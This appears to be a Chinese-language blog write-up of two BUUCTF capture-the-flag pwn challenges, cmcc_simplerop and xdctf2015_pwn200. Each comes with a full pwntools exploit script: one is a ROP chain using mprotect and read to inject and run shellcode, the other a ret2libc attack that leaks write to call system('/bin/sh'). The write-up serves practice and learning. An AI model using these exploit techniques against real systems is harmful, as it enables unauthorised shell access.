本文最后更新于283 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、cmcc_simplerop题目分析

checksec:

开了NX,运行有一个输入,感觉是一道静态编译

栈溢出,然后看看有没有mprotect函数,利用shellcode来做
mprotect=0x806D870
接下来就利用

addr=0x80e9000作为修改权限的起始位置,大小设为0x2000,设为0x7就行,返回一个pop3,返回main函数打不通,
0x0809de85 : pop ebp ; pop esi ; pop edi ; ret
整体分为修改权限,传shellcode
用read函数写入shellcode
read=0x806CD50,参数设成(0,addr+0x1000,len(shellcode))最后返回addr+0x1000
2、cmcc_simplerop实操
问题似乎出在偏移量上,于是调试了一下:

需要填充32
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27221)
#elf=ELF("./simplerop")
#main=elf.sym['main']
read=0x806CD50
mprotect=0x806D870
addr=0x80e9000
pop3=0x0809de85
shellcode=asm(shellcraft.sh())
payload=b'a'*0x20+p32(mprotect)+p32(pop3)+p32(addr)+p32(0x2000)+p32(0x7)
payload+=p32(read)+p32(addr+0x1000)+p32(0)+p32(addr+0x1000)+p32(len(shellcode))
p.recvuntil("Your input :")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
paylaod分开的话一直是超时,也不清楚为什么。
3、xdctf2015_pwn200分析

checksec:

一样的NX,运行了一下程序很简单
main函数:

没啥,但是一会儿还是用gdb看看偏移
vuln就是个栈溢出,所以我们用ret2libc就行

是112
3、xdctf2015_pwn200实操
直接ret2libc就好啦,利用write泄露libc
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26549)
elf=ELF("./bof")
libc=ELF("./libc-2.23.so")
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
payload=b'a'*112+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Welcome to XDCTF2015~!\n")
p.sendline(payload)
write=u32(p.recv(4))
print(hex(write))
base=write-libc.sym['write']
sys=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*112+p32(sys)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

好啦,差不多了










